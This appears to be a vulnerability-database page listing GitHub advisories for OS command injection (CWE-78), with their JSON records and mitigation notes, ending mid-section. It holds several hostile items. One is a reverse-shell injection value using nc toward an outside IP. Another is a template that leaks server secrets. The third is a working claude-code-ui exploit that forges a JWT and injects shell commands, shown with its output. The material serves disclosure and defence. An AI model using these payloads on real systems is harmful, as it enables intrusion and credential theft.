CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8332 vulnerabilities reference this CWE, most recent first.
GHSA-GRW8-QWRC-C9V2
Vulnerability from github – Published: 2025-04-25 00:32 – Updated: 2025-04-25 00:32UNI-NMS-Lite is vulnerable to a command injection attack that could allow an unauthenticated attacker to read or manipulate device data.
{
"affected": [],
"aliases": [
"CVE-2025-46271"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-24T23:15:15Z",
"severity": "CRITICAL"
},
"details": "UNI-NMS-Lite is vulnerable to a command injection attack that could \nallow an unauthenticated attacker to read or manipulate device data.",
"id": "GHSA-grw8-qwrc-c9v2",
"modified": "2025-04-25T00:32:02Z",
"published": "2025-04-25T00:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46271"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-114-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GRXQ-CFV6-JW9W
Vulnerability from github – Published: 2023-10-13 21:30 – Updated: 2026-01-12 12:30A SQL injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow authenticated users to inject malicious code via a network.
We have already fixed the vulnerability in the following version: Video Station 5.7.0 ( 2023/07/27 ) and later
{
"affected": [],
"aliases": [
"CVE-2023-34975"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-13T20:15:10Z",
"severity": "HIGH"
},
"details": "A SQL injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow authenticated users to inject malicious code via a network.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.7.0 ( 2023/07/27 ) and later",
"id": "GHSA-grxq-cfv6-jw9w",
"modified": "2026-01-12T12:30:27Z",
"published": "2023-10-13T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34975"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-23-52"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GRXW-3FHR-64P2
Vulnerability from github – Published: 2024-01-19 15:30 – Updated: 2024-01-19 15:30A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-0714"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-19T15:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-grxw-3fhr-64p2",
"modified": "2024-01-19T15:30:20Z",
"published": "2024-01-19T15:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0714"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.251540"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.251540"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GV2H-GF8M-R68J
Vulnerability from github – Published: 2022-02-15 00:19 – Updated: 2022-02-15 00:19Impact
What kind of vulnerability is it? Who is impacted?
- The ability to expose configuration set in the Vela server via pipeline template functionality.
- It impacts all users of Vela.
Sample of template exposing server configuration using Sprig's env function:
metadata:
template: true
steps:
- name: sample
image: alpine:latest
commands:
# OAuth client ID for Vela <-> GitHub communication
- echo {{ env "VELA_SOURCE_CLIENT" }}
# secret used for server <-> worker communication
- echo {{ env "VELA_SECRET" }}
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
0.6.1
Additional Recommended Action(s)
- Rotate all secrets
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No
For more information
If you have any questions or comments about this advisory:
- Email us at vela@target.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-vela/compiler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-26294"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-21T17:58:10Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n* The ability to expose configuration set in the [Vela server](https://github.com/go-vela/server) via [pipeline template functionality](https://go-vela.github.io/docs/templates/overview/).\n* It impacts all users of Vela.\n\n\nSample of template exposing server configuration [using Sprig\u0027s `env` function](http://masterminds.github.io/sprig/os.html):\n\n```yaml\nmetadata:\n template: true\n\nsteps:\n - name: sample\n image: alpine:latest\n commands:\n # OAuth client ID for Vela \u003c-\u003e GitHub communication\n - echo {{ env \"VELA_SOURCE_CLIENT\" }}\n # secret used for server \u003c-\u003e worker communication\n - echo {{ env \"VELA_SECRET\" }}\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `0.6.1`\n\n#### Additional Recommended Action(s)\n\n* Rotate all secrets\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
"id": "GHSA-gv2h-gf8m-r68j",
"modified": "2022-02-15T00:19:57Z",
"published": "2022-02-15T00:19:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vela/compiler/security/advisories/GHSA-gv2h-gf8m-r68j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26294"
},
{
"type": "WEB",
"url": "https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda"
},
{
"type": "WEB",
"url": "https://github.com/helm/helm/blob/6297c021cbda1483d8c08a8ec6f4a99e38be7302/pkg/engine/funcs.go#L46-L47"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/github.com/go-vela/compiler/compiler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Exposure of server configuration in github.com/go-vela/server"
}
GHSA-GV3P-QV63-G8QX
Vulnerability from github – Published: 2023-12-13 09:30 – Updated: 2023-12-15 21:30An improper neutralization of special elements used in an OS command vulnerability [CWE-78] in the command line interpreter of FortiTester 2.3.0 through 7.2.3 may allow an authenticated attacker to execute unauthorized commands via specifically crafted arguments when running execute restore/backup .
{
"affected": [],
"aliases": [
"CVE-2023-40716"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-13T07:15:14Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of special elements used in an OS command vulnerability [CWE-78] \u00a0in the command line interpreter of FortiTester 2.3.0 through 7.2.3 may allow an authenticated attacker to execute unauthorized commands via specifically crafted arguments when running execute restore/backup .",
"id": "GHSA-gv3p-qv63-g8qx",
"modified": "2023-12-15T21:30:28Z",
"published": "2023-12-13T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40716"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-22-345"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GV4M-8HPX-HFQF
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20ohmyzsh is vulnerable to Improper Neutralization of Special Elements used in an OS Command
{
"affected": [],
"aliases": [
"CVE-2021-3934"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-12T12:15:00Z",
"severity": "HIGH"
},
"details": "ohmyzsh is vulnerable to Improper Neutralization of Special Elements used in an OS Command",
"id": "GHSA-gv4m-8hpx-hfqf",
"modified": "2022-05-24T19:20:32Z",
"published": "2022-05-24T19:20:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3934"
},
{
"type": "WEB",
"url": "https://github.com/ohmyzsh/ohmyzsh/commit/6cb41b70a6d04301fd50cd5862ecd705ba226c0e"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/ad2b5c3f-a3ce-4407-94dc-354c723310ce"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GV4V-6V97-75HC
Vulnerability from github – Published: 2022-07-21 00:00 – Updated: 2022-07-27 00:00A vulnerability has been found in WAVLINK WN535K2 and WN535K3 and classified as critical. This vulnerability affects unknown code of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour leads to os command injection. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2022-2487"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-20T12:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been found in WAVLINK WN535K2 and WN535K3 and classified as critical. This vulnerability affects unknown code of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour leads to os command injection. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-gv4v-6v97-75hc",
"modified": "2022-07-27T00:00:38Z",
"published": "2022-07-21T00:00:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2487"
},
{
"type": "WEB",
"url": "https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.204538"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GV8F-WPM2-M5WR
Vulnerability from github – Published: 2026-03-11 00:37 – Updated: 2026-03-11 20:58Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection
Download: cve_claudecodeui_submission_v2.zip
Submission Info
| Field | Value |
|---|---|
| Package | @siteboon/claude-code-ui |
| Ecosystem | npm |
| Affected versions | <= 1.24.0 (latest) |
| Severity | Critical |
| CVSS Score | 9.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-1188, CWE-287, CWE-78 |
| Reported | 2026-03-02 |
| Researcher | Ethan-Yang (OPCIA) |
Summary
Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.
The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).
Vulnerability Details
1. Insecure Default JWT Secret — CWE-1188
File: server/middleware/auth.js, line 6
const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';
The server uses an environment variable for JWT_SECRET, but falls back to a
well-known default value when the variable is not set. Critically, JWT_SECRET is
not included in .env.example, so the majority of users deploy without setting it,
leaving the fallback value in effect.
Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.
2. WebSocket Authentication Skips Database Validation — CWE-287
File: server/middleware/auth.js, lines 82–108
authenticateWebSocket() only verifies the JWT signature. It does not check
whether the userId in the payload actually exists in the database — unlike
authenticateToken() which is used for REST endpoints and does perform this check:
// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded; // ← userId never verified against DB
// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← DB check present
if (!user) return res.status(401)...
A forged token with a non-existent userId passes WebSocket authentication,
bypassing access control entirely.
3. OS Command Injection via WebSocket Shell — CWE-78
File: server/index.js, line 1179
shellCommand = `cd "${projectPath}" && ${initialCommand}`;
Both projectPath and initialCommand are taken directly from the WebSocket message
payload and interpolated into a bash command string without any sanitization,
enabling arbitrary OS command execution.
A secondary injection vector exists at line 1257 via unsanitized sessionId:
shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;
Proof of Concept
Requirements: Node.js, jsonwebtoken, ws
import jwt from 'jsonwebtoken';
import WebSocket from 'ws';
// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
{ userId: 1337, username: 'attacker' },
'claude-ui-dev-secret-change-in-production'
);
// Step 2: Connect to /shell WebSocket — auth passes because
// authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);
ws.on('open', () => {
// Step 3: initialCommand is injected directly into bash
ws.send(JSON.stringify({
type: 'init',
projectPath: '/tmp',
initialCommand: 'id && cat /etc/passwd',
isPlainShell: true,
hasSession: false
}));
});
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (msg.type === 'output') process.stdout.write(msg.data);
});
Actual output observed during testing:
uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Secondary vector — projectPath double-quote escape injection
ws.send(JSON.stringify({
type: 'init',
projectPath: '" && id && echo "pwned" # ',
provider: 'claude',
hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned
Additional Findings
| CWE | Location | Description |
|---|---|---|
| CWE-306 | server/routes/auth.js:22 |
/api/auth/register requires no authentication — first caller becomes admin |
| CWE-942 | server/index.js:325 |
cors() with no options sets Access-Control-Allow-Origin: * |
| CWE-613 | server/middleware/auth.js:70 |
generateToken() sets no expiresIn — tokens never expire |
Impact
Any claudecodeui instance accessible over the network where JWT_SECRET is not
explicitly configured (the default case, as it is absent from .env.example) is
vulnerable to:
- Full OS command execution as the server process user
- File system read/write access
- Credential theft (SSH keys,
.envfiles, API keys stored on the host) - Lateral movement within the host network
The attack requires zero authentication and succeeds immediately after default installation.
Remediation
Fix 1 — Enforce explicit JWT_SECRET; remove insecure default
// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
console.error('[FATAL] JWT_SECRET environment variable must be set');
process.exit(1);
}
Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.
Fix 2 — Add DB user existence check in WebSocket authentication
const authenticateWebSocket = (token) => {
if (!token) return null;
try {
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId); // ← add
if (!user) return null; // ← add
return user;
} catch (error) {
return null;
}
};
Fix 3 — Replace shell string interpolation with spawn argument array
// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);
// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
cwd: projectPath // pass path as cwd, not shell string
});
Fix 4 — Additional hardening
- Add
expiresIn: '24h'togenerateToken() - Restrict CORS to specific trusted origins
- Rate-limit and restrict
/api/auth/registerto localhost on initial setup
Timeline
| Date | Event |
|---|---|
| 2026-03-02 | Vulnerabilities discovered and verified via PoC |
| 2026-03-02 | Private advisory submitted to maintainer |
| 2026-06-01 | Public disclosure (90-day deadline) |
Researcher
Ethan-Yang — OPCIA
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.24.0"
},
"package": {
"ecosystem": "npm",
"name": "@siteboon/claude-code-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31975"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:37:25Z",
"nvd_published_at": "2026-03-11T18:16:27Z",
"severity": "HIGH"
},
"details": "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n## \uf4cb Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret \u2014 `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || \u0027claude-ui-dev-secret-change-in-production\u0027;\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation \u2014 `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82\u2013108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database \u2014 unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() \u2014 VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded; // \u2190 userId never verified against DB\n\n// authenticateToken() \u2014 CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId); // \u2190 DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell \u2014 `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from \u0027jsonwebtoken\u0027;\nimport WebSocket from \u0027ws\u0027;\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n { userId: 1337, username: \u0027attacker\u0027 },\n \u0027claude-ui-dev-secret-change-in-production\u0027\n);\n\n// Step 2: Connect to /shell WebSocket \u2014 auth passes because\n// authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on(\u0027open\u0027, () =\u003e {\n // Step 3: initialCommand is injected directly into bash\n ws.send(JSON.stringify({\n type: \u0027init\u0027,\n projectPath: \u0027/tmp\u0027,\n initialCommand: \u0027id \u0026\u0026 cat /etc/passwd\u0027,\n isPlainShell: true,\n hasSession: false\n }));\n});\n\nws.on(\u0027message\u0027, (data) =\u003e {\n const msg = JSON.parse(data);\n if (msg.type === \u0027output\u0027) process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector \u2014 `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n type: \u0027init\u0027,\n projectPath: \u0027\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \u0027,\n provider: \u0027claude\u0027,\n hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication \u2014 first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` \u2014 tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n console.error(\u0027[FATAL] JWT_SECRET environment variable must be set\u0027);\n process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 \u2014 Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n if (!token) return null;\n try {\n const decoded = jwt.verify(token, JWT_SECRET);\n const user = userDb.getUserById(decoded.userId); // \u2190 add\n if (!user) return null; // \u2190 add\n return user;\n } catch (error) {\n return null;\n }\n};\n```\n\n### Fix 3 \u2014 Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn(\u0027bash\u0027, [\u0027-c\u0027, `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(\u0027 \u0027)[0], initialCommand.split(\u0027 \u0027).slice(1), {\n cwd: projectPath // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 \u2014 Additional hardening\n- Add `expiresIn: \u002724h\u0027` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** \u2014 OPCIA",
"id": "GHSA-gv8f-wpm2-m5wr",
"modified": "2026-03-11T20:58:52Z",
"published": "2026-03-11T00:37:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
},
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
},
{
"type": "PACKAGE",
"url": "https://github.com/siteboon/claudecodeui"
},
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection"
}
GHSA-GVC8-62FW-4C9C
Vulnerability from github – Published: 2025-01-22 06:30 – Updated: 2025-01-22 06:30Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in UD-LT2 firmware Ver.1.00.008_SE and earlier. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can access the affected product with an administrative account.
{
"affected": [],
"aliases": [
"CVE-2025-20617"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-22T06:15:14Z",
"severity": "HIGH"
},
"details": "Improper neutralization of special elements used in an OS command (\u0027OS Command Injection\u0027) issue exists in UD-LT2 firmware Ver.1.00.008_SE and earlier. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can access the affected product with an administrative account.",
"id": "GHSA-gvc8-62fw-4c9c",
"modified": "2025-01-22T06:30:47Z",
"published": "2025-01-22T06:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20617"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN15293958"
},
{
"type": "WEB",
"url": "https://www.iodata.jp/support/information/2025/01_ud-lt2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GVF7-W4C7-RVRG
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-08-06 00:00Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2021-1473"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-08T04:15:00Z",
"severity": "CRITICAL"
},
"details": "Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-gvf7-w4c7-rvrg",
"modified": "2022-08-06T00:00:41Z",
"published": "2022-05-24T17:46:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1473"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/39"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
